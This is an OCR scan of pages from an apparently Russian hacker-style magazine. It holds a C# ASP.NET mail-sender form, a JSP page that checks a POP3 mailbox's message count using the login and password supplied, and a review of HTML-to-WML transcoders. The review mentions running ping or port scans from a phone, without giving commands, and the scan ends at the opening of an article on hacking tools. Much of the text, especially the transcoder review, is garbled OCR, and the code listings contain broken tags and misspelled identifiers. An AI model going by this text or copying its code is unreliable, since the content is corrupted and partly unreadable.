портировано пространство имен 
System.Web.Mail и для записи ero 
классов будет применяться уко- 
роченная запись. Что такое про- 
странство имен, класс и т.д., я не 
буду объяснять, иначе не хватит 
места, отведенного для статьи. 
Все, кому это безумно интересно, 
могут почитать много-много кило- 
страниц соответствующей лите- 
ратуры. Далее идет обычное на- 
чало НТМЕ-файла, после чего 
между тегами <script langua- 
ge="C#" runat="Server’> и 
</script> идет сценарий отправки 
письма. У тех, кто знаком с HTML 
и JavaScript, сразу встает... во- 
прос: что это за язык - С#? Это 
новый язык, созданный Microsoft 
специально для .МЕТ. Одно сму- 
щает - он ОЧЕНЬ похож Ha Java 
:). Параметр runat="server” гово- 
рит о том, что сценарий будет вы- 
полняться на стороне сервера. 


<%@Import Namespace="System.Web.Mail'%> 
<IDOCTYPE HTML PUBLIC "-//W3C//DTD HTML 
4.0 Transitional//EN" > 

<html> 

<head> 

<title»Mail Sender</title> 

<script language="C#" runat="server"> 
protected void sendmail(object sender, 
EventArgs e) 

{ 

try 

{ 
SmtpMail.Send("me@myhost.com" rcptto. 
Text,subject.Text,text.Text); 

lab.Text = "Сообщение orocnaHo.”; 
rcptto.Text = ""; 
subject.Text =""; 

text.Text = ""; 

} catch (Exception ex) 

{ 

lab.Text = "Произошла ошибка: "+ex.ToString(); 
} 

} 

</script> 

</head> 

<body> 

<form id="Frm” method="post” runat="'ser- 
ver"> 

<asp:Label ID="lab" Runat="server" ForeCo- 
lor="#ff0000"/> 

<table cellpadding="10" cellspacing="0" 


border="0"> 

<tro<td> 

<asp:Label Runat="server">Komy:</asp:La- 
bel></td> 

<td><asp:TextBox ID="rcptto” Runat="ser- 
ver” TextMode="SingleLine” Columns="50"/> 
</td></tr 

<tro<td> 

<asp:Label Runat="server” ID="labl">Te- 
Ma:</asp:Label></td> 

<td><asp:TextBox ID="subject” Runat="server" 
TextMode="SingleLine” Columns="50" /> 
</td></tr> 

<trostd valign="top"><asp:Label Runat="ser- 
ver” ID="lab2">Texct:</asp:Label></td> 
<td><asp:TextBox ID="text” Runat="server” 
Тех{Моде="Ми те” Columns="50" 
Rows="10"/> 

</td></tr> 

<trostd colspan="2"> 

<asp:Button ID="submit” Text="otTnpaButb” 
Runat="server" OnClick="sendmail"/> 
&nbsp;&nbsp;<input type="reset” va- 
lue="o4ncTuTb"></td></tr> 

<tro<td colspan="2"> 
<asp:RequiredFieldValidator runat="server" 
id="emailvl" controlToValidate="rcptto" Dis- 
play="Dynamic” style="color:red” ErrorMes- 
заде="Необходимо указать получателя со- 
общения! :6г&дЕ”/> 
<asp:RegularExpressionValidator ги- 
nat="server" id="emailv2” controlToValida- 
te="rcptto” ValidationExpression="\w+([- 

+ ]\w+)*@\we([-\w+)*\\we([-.\w+)*” Dis- 
play="Dynamic” style="color:red"> 
Введенный текст не является адресом 
электронной почты. Пример адреса: 
<code>me@myhost.rus/code>.<br/> 
</asp:RegularExpressionValidator> 
</td></tr 

</table> 

</form> 
</body> 
</html> 


Забей, чувак, пока Ha данный 
код, так как надо сперва разо- 
браться и осознать то, что нахо- 
дится в теле документа. Сначала 
идет уже знакомый тег <form>, 
только теперь в нем нет параме- 
тров “action” и “method”, зато 
опять есть параметр "гипа{", ко- 
торый теперь будет нас прямо-та- 
ки преследовать. Далее опять 
оформляем таблицу, как и в пер- 
вом варианте, а вот после этого 


начинается самое интересное. 
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Здесь мы будем более элегантны 


Вместо привычных НТМЕ-тегов 
пишем теги, которые начинаются 
на "‹азр:”. Это ХМЕ-теги сервер- 
ных элементов ASP.NET. Они 
обладают большим набором па- 
раметров, чем обычные HTML-Te- 
ги, да и работать с ними намного 
быстрее и удобнее. Для вывода 
обычного текста я использовал 
тег <asp:Label> (не поленись 
зреть на монитор в целях провер- 
ки печатаемого, если ты набива- 
ешь это "по-нашему", т.е. в Блок- 
ноте, так как эти теги, как и все 
ХМЕ-теги, чувствительны к реги- 
стру символов). 

Для всех серверных тегов 
ASP.NET надо указывать пара- 
метр Рипа{="5егуег”. Все тексто- 
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тает так же, как предыдущий. За- 
меть, здесь уже не требуется по- 
мещать регулярное выражение 
между символами / и /. 


САМОЕ ГЛАВНОЕ 

Ну а теперь вернемся к скрипту, 
помещенному между тегами 
<script> и </script>. Весь скрипт со- 
стоит из одной процедуры, кото- 
рая выполняется при нажатии на 
кнопку "отправить". Процедуре 
передаются два аргумента: "оБ- 
ject sender” и "EventArgs e”. Как 
истинный прогер, ты, конечно же, 
понимаешь, что Sender - объект, в 
котором возникло событие (в на- 
шем случае - нажатие на кнопку), 


mam 


переменная е содержит данные 
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Го$но будет! Г-г-г-лавное н-не бояться... 


вые поля задаются тегом 
<asp:TextBox>, разница лишь в ат- 
рибуте TextMode, который для 
однострочного поля принимает 
значение SingleLine, а для мно- 
гострочного - MultiLine. В конце 
формы находятся два элемента, 
аналогов которым в обычном 
HTML нет, - это <asp:RequiredFiel- 
dValidator> и <asp:RegularExpres- 
sionValidator>. Понимаешь, это 
так называемые валидаторы :))). 
Они позволяют проверить полно- 
ту и правильность вводимых в 
форму данных, причем проверка 
осуществляется еще до отправки 
данных формы на сервер (то есть 
на стороне клиента). Первый ва- 
лидатор проверяет, введено ли 
что-нибудь в текстовое поле с 
именем rcptto (атрибут ControlTo- 
Validate), и в случае, если ничего 
не введено, выдает сообщение, 
записанное в атрибуте ErrorMes- 
sage. Второй валидатор исполь- 
зует уже знакомое нам регуляр- 
ное выражение для проверки 
правильности адреса электрон- 
ной почты. В остальном он рабо- 


о событии. Далее с помощью про- 
цедуры SmtpMail.Send(string from, 
string to, string subject, string text) 
отсылаем сообщение адресату 
(названия параметров говорят за 
себя), перехватывая при этом ис- 
ключение (если оно возникнет - 
пишем сообщение об ошибке). 
Осталась самая малость - очи- 
стить поля для новой отправки, 
что я и сделал, присвоив их свой- 
ству Text значения пустой строки. 

Ну, вот и все. По-моему, получи- 
лось очень просто и быстро. Вы- 
бирай вариант по душе. Знай, что 
РНР всегда работает с одной и 
той же достаточно большой ско- 
ростью. А ASP со второго запуска 
(типа первый раз - компилится, 
советую произвести его само- 
стоятельно) начинает рвать так, 
что никакой РНР и рядом не 
стоял! Если ты заинтересован на- 
писанием \\еБ-приложений на 
ASP.NET, пиши, задавай вопросы, 
ибо за этим будущее. 
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Microsoft.NET 
Framework 
также можно 
достать 

на диске 

с Microsoft 
Visual Stu- 
dio.NET Ha 
Горбушке (He 
мне тебя 
уму-разуму 
учить! :)) 


Должно быть 
импортирова- 
но простран- 
ство имен 
System.Web. 
Mail, и для 
записи его 
классов бу- 
дет приме- 
няться уко- 
роченная за- 
пись... 


раде 


1ЧЕНХ1-Я3а 


ПРИМЕРЫ/РОР ДАЕТ 


ВЕБ-ТУЛЗЫ 


ry 
5 
3 
= 
5 
т 
о 
т 
4 
9 
= 
о 
о 
5 


К примеру, 
можно выво- 
дить не толь- 
ко количе- 
ство и общий 
размер писем, 
но и различ- 
ную лабуду, 
характери- 
зующую эти 
письма. 


| Если ты осо- 


бо педантич- 
ный перец и 
без такого ге- 
морроя физи- 
чески не про- 
тянешь, мо- 
жешь исполь- 
зовать регу- 
лярные выра- 
жения на Уа- 


vaScript. 


Владимир Егоров aka Dr.NET 
(vme@front.ru) 
& ilich (ilich@atrus.ru) 


POP ДАЕТ: 


ОПЕРАТИВНАЯ ПОЧТОВАЯ ИНФА 


Зачем, спрашивается, реальному кулхацкеру грузить тучу разной лажи, желая узнать, 
хотят с ним общаться по старому доброму мылу или нет? Ведь наваять маленькую 
штучку, умело сообщающую ему о вновь прибывших, есть дело одной бутылки пива. 


Даже быстрее... А работать эта хрень у нас будет и того быстрее, знай только сиди да 


наслаждайся. 


егодня, чувак, ты 
поимеешь счастье 
получить толчок. Бо- 
юсь тебя разочаровать, но в сан- 
технику я не вдарился - полу- 
чишь ты не керамическое изде- 
лие с другом вантозом, а идею, 
как можно значительно упро- 
стить свое существование. Пинок 
в счастливое будущее, иначе го- 
воря :). Идея такова. 

Замутим-ка мы с тобой пагу, ко- 
торая будет подключаться к РОР- 
серверу и получать с него инфор- 
мацию о количестве и общем 
объеме почтовых сообщений. 
Если ты ни разу не грамотный, 
разъясняю, что POP расшифро- 
вывается Kak Post Office Protocol - 
почтовый протокол - использует- 
ся для передачи почтовых сооб- 
щений и служебной информации 


<htmb 

<head> 

title 

Pop3 Mail Counter 

</title> 

<meta http-equiv=«content-type» 
content=«text/html;charset=windows-1251»> 
</head> 

<body> 

<form method=«post» action=«frame,jsp» 
name=«frm»> 

<table cellpadding=«10» cellspacing=«0» bor- 
der=«0»> 

<tr<td>Agpec POP3-cepBepa:</td>std> 
<input type=«text» name=«addr» size=«50»/> 
</td></tr> 

<{г>{ФИмя nonb3oBatena:</td> 

<td><input type=«text» name=«login» 
size=«50»/> 

</td></tr> 

<tro<td>Maponb:</td> 

<td><input type=«password» name=«pass» 
size=«50»/> 

</td></tr> 

<trstd colspan=«2»> 

<input type=«submit» name=«Submit» 
value=«MpoBeputb»>&nbsp;&nbsp; 

<input type=«reset» уаше=«Очистить»> 
<< 

</table> 

</form> 

</body> 

</html> 
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Привыкай, эту фразу ты еще увидишь He раз 


от сервера клиенту и не имеет ни- 
чего общего с попсой :). Запомни. 
Для чего нам такая фигня нуж- 
на? Этот вопрос мы задали Дрони- 
чу, фанату мобильных технологий: 
«Раньше, когда мне надо было уз- 
нать, что творится в моем почто- 
вом ящике, мне приходилось отго- 
нять от компа живых людей не- 
цензурными матами. Потом я от- 
крыл для себя почтовый клиент в 
мобильном телефоне, но и он не 
решал моих проблем, так как при- 
нимал всю инфу с сервера, сво- 
noub! А теперь мне достаточно 
зайти на страничку со скриптом 
через \!АР-гейт и в считанные се- 
кунды выяснить количество спама 
на душу населения. Ильич - втира- 
ет так, как другим не под силу!». 
Поехали, создаем новый HTML- 
файл с именем, например, 
«тат.Пт!». Пишем в нем стан- 
дартное начало, задаем заголовок 
и все такое. После этого в теле go- 
кумента надо задать форму для 
отправки данных на сервер. Атри- 
буту «action» тега «form» задай 
значение, например, «frame.jsp» - 
это имя файла со сценарием, кото- 
рый будет обрабатывать нашу 
форму. Расширение «*.jsp» обоз- 
начает файл Java Server Pages, то 
бишь та самая технология, кото- 
рую я использовал при сотворе- 
нии сценария обработчика. О том, 
что есть это, чуть позже. Офор- 


мляем форму в виде таблицы для 
более ровного расположения по- 
лей. Некоторые искренне полага- 
ют, что так красивее :)... Как это 
делается, полагаю, учить не надо 
потому, что азы html знают все. 


Что и где? 

В первое текстовое поле формы 
будем вводить адрес РОР-серве- 
ра, на котором мы хотим прове- 
рить почтовый ящик. Конечно, 
по-хорошему надо бы проверить, 
насколько корректно введен ag- 
рес сервера, но я этого делать 
сейчас не буду, ибо не в этом 
филейная часть проблемы. Если 
ты особо педантичный перец и 
без такого геморроя физически 
не протянешь, можешь исполь- 
зовать регулярные выражения 
на JavaScript. Для этого надо 3a- 
менить кнопку типа «Submit» на 
простой «баттон» и задать Ja- 
vaScript-o6pa6oTunk, содержа- 
щий проверку на соответствие 
вводимых данных регулярному 
выражению. В случае успеха 
просто пишем «frm.submit()», 
иначе отправляем форму далеко 
и надолго, на доработку то есть. 
Регулярное выражение, нужное 
для проверки, выглядит пример- 
но так: «\w+(.\w+)*(.\[a-z]+)+». 
Так что, если желание не пропа- 
ло, можешь потренироваться 
сам. 


oe ae и +. # 


a_i | 


Чтоб глаза He бегали, а уши не краснели 


Двигаемся дальше. Во второе 
текстовое поле с именем «login» 
будем вводить имя пользователя 
для почтового ящика. Оно обычно 
совпадает с тем, что находится go 
значка «@» в адресе электронной 
почты. Например, если адрес мыла 
«vasya@pop.zhopaserver.ru», то 
имя пользователя gna этого поч- 
тового ящика будет «vasya». В 
третье поле типа «password» с 
именем «pass» нужно будет вво- 
дить пароль для почтового ящика. 
Ибо сервак дает добро лишь при 
нормальном к нему подключении, 
то есть при наличии как логина, 
так и пароля. Яснее ясного. 

Дальше помещаем две стан- 
дартные кнопки «submit» и «res- 


У всех джигитов всегда есть наготове JBuilder 


et» (надеюсь, тебе не надо объяс- 
нять, для чего они нужны). Зак- 
рываем теги. Все, с этой страни- 
цей покончено. 

Если ты все еще ментально со 
мной, знай, что нашим следую- 
щим действием станет сотворение 
сценария, который будет подруба- 
ться к РОР-серверу и просить его 
дать инфу о количестве сообще- 
ний и их суммарном размере. Для 
написания этого сценария я вы- 
брал язык Java и технологию соз- 
дания динамических Web-npuno- 
жений Java Server Pages, которая 
использует Java. Есть куча CepBe- 
ров, которые поддерживают Java 
Server Pages и сервлеты Java. A 
еще Джаву очень любит Дронич 
:). Так что юзай, не стесняйся. На- 
зову, например, Apache Tomcat, 
поставляемый вместе с Borland 
Java Builder. JSP имеют довольно 
широкие возможности, HO, как 
мне кажется, существенно уступа- 
ют ASP.NET. Я выбрал JSP для на- 
писания сценария, потому что в 


ПРИМЕРЫ/РОР ДАЕТ 


jdk 1.3 есть класс для работы с 
РОР-серверами. В ASP.NET же та- 
кого не имеется, по крайней мере 
в стандартном пакете. Итак, соз- 
даем файл frame.jsp. В нем пишем 
<%@ раде import=«ipworks.*»%> 

<%@ page contentType=«text/html; char- 
set=windows-1251» %> 

Первая строка импортирует na- 
кет «ipworks», который содержит 
интересующий нас класс, а вто- 
рая строка задает заголовок 
HTTP Content-Type для данной 
страницы. 

Дальше пишем обычное начало 
документа HTML, а после тега <bo- 
dy> вставляем кусок /ауа-кода 
(код должен быть между <% и %>), 
в котором сначала создаем экзем- 
пляр класса «Рор», который ну- 
жен для обращения к РОР-серве- 
ру. Назовем этот экземпляр «рор» 
(запомни раз и навсегда или запи- 
ши где-нибудь, что язык Java чув- 
ствителен к регистру, поэтому 
«Рор» и «рор» - разные имена). 
Далее присваиваем свойствам 
«MailServer», «User» и «Password» 
объекта «рор» значения, позаим- 
ствованные из формы. 


Connect 

После этого пробуем подклю- 
читься к серваку. Для этого прис- 
ваиваем свойству Action объекта 
«pop» значение «a_Connect», при 
этом происходит попытка под- 
ключения к серверу. Однако эта 
процедура может закончиться 
безуспешно (это, увы, не от нас 
уже зависит), а язык Java типа 
строгий и даже хуже, так как тре- 
бует обязательной обработки ис- 
ключений (фактически ошибок). 
Поэтому мы заключаем нашу по- 
пытку подключения и то, что дол- 
жно быть выполнено в случае ус- 
пеха, в блок try {...}, а то, что вы- 
полняется в случае неудачи, - в 
блок catch (Exception ex) {...}. 

В случае успеха выводим число 
сообщений. Делаем это так: ме- 
Tog printIn(int number) объекта 
«out» выводит «number» в HTML- 
ответ сервера, а метод getMessa- 
geCount() объекта «pop» возвра- 
щает число сообщений на серве- 
ре. Аналогично метод getTotalSi- 
ze() возвращает общий размер 
сообщений (в байтах). Если, мяг- 


ко выражаясь, что-то пошло не 
так и соединение с РОР-сервером 
по какой-то причине не было 


Смотри, как надо сие корректно заполнять 


Листинг frame.jsp 

<%@ page import=«ipworks.*»%> 

<%@ page contentType=«text/html; 
charset=windows-125I» %> 

<html> 

<head> 

title> 

Pop3 Mail Counter 

</title> 

</head> 

<body> 

<%Pop pop = new Рор(); 
pop.setMailServer(request.getParameter(«addr»)); 
pop.setUser(request.getParameter(«login»)); 
pop.setPassword(request.getParameter(«pass»)); 
try {pop.setAction(Pop.a_Connect); 

%> 

<p>Konmy4ectBo сообщений в указанном 
почтовом ящике: 

<% 

out.printin(pop.getMessageCount()): 

%> 

</p> 

<р>Общий размер сообщений: 

<% 

out.printin(pop.getTotalSize()): 

%> 

</p> 

% 

} 

catch (Exception ех){ 

%> 

Невозможно подключиться к CepBepy:( 
<% 


pop.setAction(Pop.a_Disconnect); 
%> 

</body> 

</html> 


установлено, то в блоке catch пи- 
шем что-то, об этом откровенно 
нам сообщающее. Например, 
«Невозможно подключиться к 
серверу» или «Fuck America!» - 
зависит сугубо от твоей ориента- 
ции и количества потребляемого 
в день бензина :). В конце закры- 
ваем соединение методом «setAc- 
tion», устанавливая свойство 
«Action» в «a_Disconnect», и зак- 
рываем теги <body> и <html>. 

Вот, собственно, и все, что я же- 
лал рассказать тебе по данной 
теме. Если никак не выходит, вос- 
пользуйся слабит... напиши, тебе 
в срочном порядке будет выслан 
функционально адекватный об- 
разец воплощения рассматривае- 
мого толчка. Оговорюсь только 
вот как: это лишь мизерная толи- 
ка того, что можно наворотить на 
этой «быстро загружающейся» 
паге, разобравшись как следует 
в соответствующих методах. То 
есть, к примеру, можно выводить 
не только количество и общий 
размер писем, но и различную 
лабуду, характеризующую эти 
письма, как то: тема, дата посту- 
пления и тому подобное. Зависит 
это лишь только от тебя. 


и i 
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Боюсь тебя 
разочаровать, 
но в сантех- 
нику я не 
вдарился - 
получишь ты 
не керамиче- 
ское изделие 
с другом ван- 
тозом, а 
идею... 


...в jdk 1.3 
есть класс 
для работы с 
РОР-сервера- 
ми. В 
ASP.NET же 
такого не 
имеется, по 
крайней мере 
в стандарт- 
ном пакете... 
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ЛОМАЕМ СЕРВАК 


ТРАНСКОДИНГ HTML2WML 


Manderk (forother®@fromru.com) 


в гут встает rashaA 


пробпема: мобялы 

не приспособлены 
пов попнаоценный Depo в силу 
мапеныких экранов И убоги х про 
токогюа, а чтобы быти фостипны 
всякие сетевые ресурсы, те He 
например, кокорские тупзы, при 
ется колбасить BE офну вер 
сию сайта, но уже в WL, что от: 
HAM! QOCTAIOHHD МНОГО Bae 
ни. Но выхо есть: наро поста“ 


рапся и уже создап специальные 


конверторы himlcwwnl aka тран- 
гкодеры! 


ТРАНСКОДИНГ 
Технопотгия транскодирования, 
ипи просто транскодинг, поора 


эрыевает преобразование како- 


Кочинывь chee : матента м : 
Se FOTO контента из одного фор 
мые Cee мата в друтои на пету, Языков 
ee eee разметки в настоящее время ис 
ыы Пользуется довольно ыНОГО. ПО" 
a ee этому тема актуальна, Примени’ 
ин : 4 Wa | : 
т тельно а WAP нас будет интере 
ыт проблым — совать транспрция имеющегося 
М это = pe ] г 
= HTML контента в WML. Фишка в 


том, что юзеру может срочно 


понадобиться инфра с накого-пи. 
бо ресурса или накой-пибо веб 


сервих, Orga nog Pykor есть 


только MOMNbHHE, Естественно, 


он HE может жоатгь, пока aeti- 


мастер настругает ИЕ -вероню 
паги. Да и веб-мастеру нет смы- 


спа тратить время на УМЫ -вар- 
сне сайта, еспн это значитепь 


но не увепичит посещаемость 
Вых один * автоматизировать 
процесс конвертации НТМЫЕ в 
WML, Для этого и нужен тран- 
скодинг, 


ХАК С МОБИЛЫ? ЛЕГКО! 

Hac особенно интересует BOs 
MOMHOCTb воспопьзоваться ва" 
кой"пийа хак-гуплой с чобипь" 
ного тепефюона. Согпасись, все 
просто выпадут в осадок, еспи 
ты с ыобипки сможешь прог 
нать Р'шния через иго ипи 
просканить сервак на открытые 
порты. 


Идея, в принципа, простая. Hye 


но нападить соступ в Ade Nnpore 
через со-сирипт тестествечнео, у 
тейя QONMER быть WENN с Com 
ветствуюшими правами] и сое 


Nate веб-интерорейк, & фоступ в 
веб-интеодайсу с мобипьнаго. Te 
TAO обеспечит транёкодер. 


ТРАНСКОДЕРЫ НА ПРАКТИКЕ 
Но это ася гопая теория, а как Or 
стоят фепа на практике: Транско- 
деры бывают а вме программы, 
которая гпотает HTML и выводит 
контент ужа в виа WML, но нас 
310 не устраивает, так как юон- 
вертировать надо на пегу (on ле 
Му то есть =), так чта тастиро- 
вать будем скрипты на Php, рег и 
Tg Претеноен тов овазапось не 


так много, всего: NAL два por 
стойных, но зато каких! POM за 
ыетить, я не гарантырую тебе топ 
HY SOHBEPTAUM - самт MOET 
вообще не преобразоватлься, я 
ужа не говорю про графику... Ее 
ты точно не увидишь! Но в та же 
время тест - онив Арина 
текст, и прочитать его полне 
BOSMOMHG, а резупьтаты MOCTO 
исспеоования очень фана BE 
YAN № |. 


zw 

Первый транскодер это * H2W ser 
УЕ 1.33, единственный травско 
QED, крохотное упоминаные като- 
рого нацилось в РуНете. Что такое 
Java Serviet? Серапеты = это тех 
нопогия Java, ни поюожм на jae 
уа"апппеты, которые закачивают: 
ся и тебе на тачку и добавлпяки 
каккеиба суунюцыи твоему брау- 
зар. Гопьжо сеовпеты поедназ” 
начены GNA увапичения возмож 
ностей меб-сервака. 


Свачать этот CERBNET MOR BWb 
ryt = Atos! wwe servietsule.com 
fserviets/h2w jim. Xora 1ede, wo 
HUET, и неё понаробится тифа зас 
дить. так как он уже установлен и 
тебе пуьзолагается его NOOSA (ga 
ис Java гы, наверн». не хочешь 
TERROR), CNM пкмесвать, TO 
WOMHO HATH GLUE HEROS yee 


прочны TATA PORAHH EE CBE TOR. 
Но вернеыся к нашему пациенту: 


набери в мобиле ANB Wap 
зыугитора (Орега, нстати, 
KETO Wie ны УГО} 
этот URL = : 


‚ Э Та 
BRAGG APS, на юотофый 
нужно MLCT, AM же Opa 
ay: 


Url опинный, но ты можешь 
BHECIM его в Закпабкни, 
огромный минус Нами 
370 ТО, 400 Он не ПОПНОСТЬЮ 
хапявный, то есть поспе 10 
нажатии на кнопку Neel 
[чтобы прочитать. BC Cpa 
HMYHY) AZ отказывается 
транскобить =, Ноу этой 
же коыпании есть бесплат“ 
ный сервлет Таис ег Ра 
ter Wer. Li, вОТОрыйм заниыа- 
ется тем ме YTO и НЕМУ ваг- 
мы. Скачать можешь пе 


. 9 его не те 
стировап, но, думаю, он ра” 


ботает прамерно так же, 


как и предыдуший, 

Теперь надо бы проте- 
стить сам серепат, Я cpa 
зу же решип показать те- 
бе мии хакерти на Mod: 
па, но обломался + вап 
зыупотор BEAN ошибку... 
Я уже думал, что НЕ 
погпная пажа, но решил на 
всякий спучай зайти на 
securitylabeu и... рабата- 
от! Потом зашел на ору 
гие сайты - все пашет! д 
продемонстрировать его 
работу я решил на приме- 
pe winto.org - второго. на- 
ибопее близкого SPEZ'y 
сайта (испопьзовай эму 
питер Becklt) 


1. Закофиы на wintovorg че- 
рез транскодар, пропиеты 
вавы чуть ниже и Bp 
пинюи (Рис. 1). 

2. Я зацеп по пинху 
“статьи” - появилось то же 
самое, 410 и на Depew 
скрине. а сыыспе попай-то 
я куда надо. но у всех 
страниц одинаковые хзое- 


ры ака загоповвиы. тай что 
нсегоа приходится пистать 
ниже. Нажал пимпы “Next 
н VEHDEN нужный контент 
(Pec. 2h 


3. Дапее еше раз нажал 
пати “Newt” м узреп спи 
сачек статай {самаре по 
спвоняя Guna статья Дро- 
ныча =), (Рис. 3), 


4, Пепать нечего - про” 
талтат на пинк и NOC HEC 
копьких нажатии на “Мах” 
набоел на начатое статьи. В 
HAW все буювы спиваются, 
озтому прижсоюится отое 
PPT слова чыспенно сам” 
Юму 1370 только Bonga Gone 
шие BCR Peecra) Рис, 4}, 
Echt ты не разобрал. что 
на сярина, то вот начапо: 
Ни разу в жизни не вый 
Ha”. Вот такны вот мака“ 
роы быпа прочтена статья 
Проныча. 


A BOT GeO OH THR и не 
захотеп транскодить, тан 
чо HERO GOWUPEHIR ме» 
Oy сайтом и гобой не жди 
Эта зкачит, что асекия 
эвое“ы и pang'e отобажот 


4. |8 
Еще син TPERCROoEP, но 
уже на Perl Га это mimic), 
Правда, сарпипт требует 00" 
ОНТ ельнНыйе MOGI, KO 
Tide ый MORAL Найти 
тут: 
То, что ему нужно, хорошо 
BOO в начале сони 
fuse) или 9 INSTALL manne. 
Если учесть, что перл бо 
Me популяран, чем |ама- 
серепеты, то 4 htmlewmil 
GIG востребован, а ину 
по устаноаке модупей, HH 
тарпрататора и Апача Ha 
и сейчас наспожно, го 
есть установить все ты 
COKE С ПЕГЮО СТО 09 
HO то, что этот проент THCY 
ется на боцгса! о гов. гей, MHE 
уже понравигось. Ecnw 
еще не OO ANCA, то Raa 
вм TyT = 

‚ а бак по тупэе 
ТУТ: 


Тупза может работать ка 
шнепп-команоа ипи как 
согшна. Второе нам как pag 
и надо. Использовать тан: 


{обязательно 
нумно указывать “http en). 
Tyna имеет: Spay goey 
ыентацию, ыного парзые- 


Ihde и настроая, что есть 
го. Eup имеет кучу Coe 


мом | кино 


мм Kitt 


Смотрите : 


Слезы Солнца 
Книга Джунглей-е 
Старая школ 
Пианист 


В 


Я 


еслое преступление 
Земное ядро 


Ея ны ве ГУК 


DOLBY |=, 


Г мии - 


“LESS 


№] Хету заме 
Tk, № на гие 


мощно ы CP ahi Pee ai 


ппоа опя теста и форму, Сразу 
видна, что ребитки упорно зани- 
маютев проектом и не бресят его. 

RODD прокамыентированные 
настройяи сыожешь найти в са" 
WOR Cg WEE, а параметры загу- 
ска - в шайпа readme.txt (oceanka 
выше), 


Один из плюсов этого скрипта 
Pas pene! не на Rape, а на Oe 
ки. Пугрсняю: при разоепении сай» 
та на наоды (ak ITO депает Нами 
приходится часто жать “Weal”, 
Тая нак RaQ POE становитее очень 
WHOM, ведь сайты“ то не Walled 
At, а Памяти BET не хватить, 
MOST oda NYE MONO Soe 
разделение оенами (CMOTpH 
скрин]. В доке Take COQeO MATCH 
MODE теоретичесяой иноы, mo 
пезные пинки, оба зэыупяторов 
WP, аа норка. как захист, MM 
HEM He бывает, 


Геперь тесты. Кая н Npeqeay: 
WHA транскодар, этот тоже уже 
установлен, надо. Gone топьхо 
найти вто; “Гугп”, как всегоа, 
crac - https Ипаеноельай ни, гиен" 
bin hibmiwrnl.ca, 

My что мов. ean! Ww aa 
Каруги через этот транскодер oF 


приходится оепать при работе с 
H2W (CROWN про то, что я om: 
рип выше]. Возбше. вспи бы я 
нЕ знал, STO эта Mim cpanel, я 
бы подумал, что это полноцен” 
ная мар-страница, Зашел в раз 
Gen сайта “документы”, 


2. Темст, в отпичие от перваго 
пранскозрера, более читабельный, 
го есть спова не спнважутся, 

С фарыаыи этот транскодер то 
же справился. Оля этого 9 ско 
дип ка hitpe!inetcratt.comy через 


Зосима гу 


ЗСТ TPC PED и, ва вирши», 
вбип в форму "лм. вакерьгоы", 


ДРУГИЕ СПОСОБЫ 

хочу ообавить, что существуют 
еше другие транскофесы, но они 
не были акпючены а обзор из-за 
нестунюуианальности. Например, 
LazyPHP (http: fscriptemanu 
alr Tascihled2) имеет разыер 
исжснунина 3 Kb (gna сравнения 
ВА мили - 60 ВБ и, соотеет- 
ственно, мапо возможностей. У 
меня под Вынь он тан и не запу- 
cence =. Хотя автор уверяет: 
“Программа (ana испытана на 
Wine PHP 4,.03/ Apache 1.3.12 


Нескопько уже существующих, 
попезных мар-сайтов: 
wap.void.ru - База МГТС и порт-сканнер, 
http://tools-on.net/wap - whois. 


KEGIICH, но Ade только я прошей 
по ссыпюе, проязошипа сацибиа 
срипьтрацим роге? {и такие оший 
ни при тестинге встречапись и 
Qanbue), Это связано с саыай OG! 
- она ппожо фильтрует spre, о 
чеы я допожип автору, возможно, 
скора будет обновление =}. Дапь- 
ше пя разнообразия будеы смо 
треть зесиг аб. гы; 

1. Заашти. Boe нормапьно, Пер- 


вое впечатление от этого скрип 
та пучше, wee от На. Во-пер- 
вых, всё картинки заменены 
[IMG], во-вторых, не надо Ha 
мать “Nest” так часто, как это 


1.2000 LaryWaAP v.0.5" (para 
впечатляет }, 

Конечно, асе это хорошо, но 
сайты, оптимизированные под 
WAP РУКАМИ, всегда будут вы 
гпяоеть пучше, чеы те, которые 
мы нонвертировапи (хотя порой 
himlZwmlcgi реально yguane- 
ет). Но руками тоже не Boerga 
охота все делать... а еспи еше и 
в \ЫЕ разбираться с нуля надо, 
го вообше караул. хотя спи 
странишу ты будешь пепить 
топько GNA себя накопбасишь 
всякне Col port ссаппегы с в29- 
интеррейсом|, то можно вос- 


mace cl в. 
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попьзоваться PHP lib HawHaw 
(жепательно, чтобы ты энап 
еще и php =}). Берем тут: 

https! /script.emanu 

абги/ Таз =40. Dewea в tos, 
чта, иепопьтуя кпасг из 
hawhaw.loc, ты MOM строить 
странмцы на "Wee (И) 
hawhaw, Neate страница 
сыожет отображаться кан в 
МАР-браузере, так и в привы- 
чном браузере. То есть скрипт 
саы опрефепит, какой у юзера 
браузер, и в зависимости от 
этого вывеоет ипи ИНтЫ-страни* 


О com 


uy. или ип версию, Но еше раз 
говорю, ни ту, ни оругую ручка“ 
ми тебе писать не придется. Пы 
сать ты будешь ОДИН раз на 
мапеньком “языке” НамНам 
{точнее эго не язык. а php 
кпасс), когорый бып созоан 
средстваыи РНР. Ну a в 0580 
ении HawHiaw тебе поможет 
этот тапмуо (я освоип за час 
чтения): Юры wa. hawhaw.des 
ref/php/indes him и РАС: 
И ВТ Ме МИ 
(читай сначапа АК}, 


оба транскобдера имечот свом не" 
QOCTaIKM, но у поспеснего Их ВСЕ 
таки MEHbU, хотя PKA с рта» 
чуть-чуть поубавил мои востофги 
от скрипта, Нафежись, его скоро 
исправят, Но при Себе ace rgd Har 
дс ‘иметь, OCRNIKM на оба, потому 
что, Cat один не Cy Pavel, мож“ 
на попробовать другой, 4 


| цифровое спутниковое 
телевидение 


ATopenronyaderey, 
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Докучаев Дмитрий aka Forb 
(forb@real.xakep.ru). 


СВОЯ ВОЕННАЯ БАЗА 
В СЕТИ 


Давно прошли те времена, когда ты юзал инет только для того, чтобы насладиться 
прекрасными порталами типа www.fomenko.ru либо другими пагами непристойного 
характера, о которых я промолчу :). Теперь ты наслаждаешься всеми сервисами 


Интернета, как, например, IRC, Май и, конечно же, взлом - самый интересный сервис, 
не упоминающийся ни в какой документации. Так что такие слова, как сканер, 
брутфорсер, шелл, стали для тебя смыслом виртуальной жизни. 


се это замечательно, 
но может произойти 
так, что по какой-ли- 
бо причине тебе придется выйти 
в Интернет с чужого компьютера. 
Причины могут быть различными: 
OTbe3g в другой город, конфиска- 
ция личного имущества :), сгорев- 
ший НОО. Просто представь, что 
все удобные программы, как ssh, 
mail, гс клиенты, оказались вне 
досягаемости. Не буду продол- 
жать мысль, ибо вижу, что ты по- 
бледнел и чуть было не потерял 
сознание :). На самом деле такой 
расклад вполне вероятен, поэто- 
му в этой статье я научу тебя 
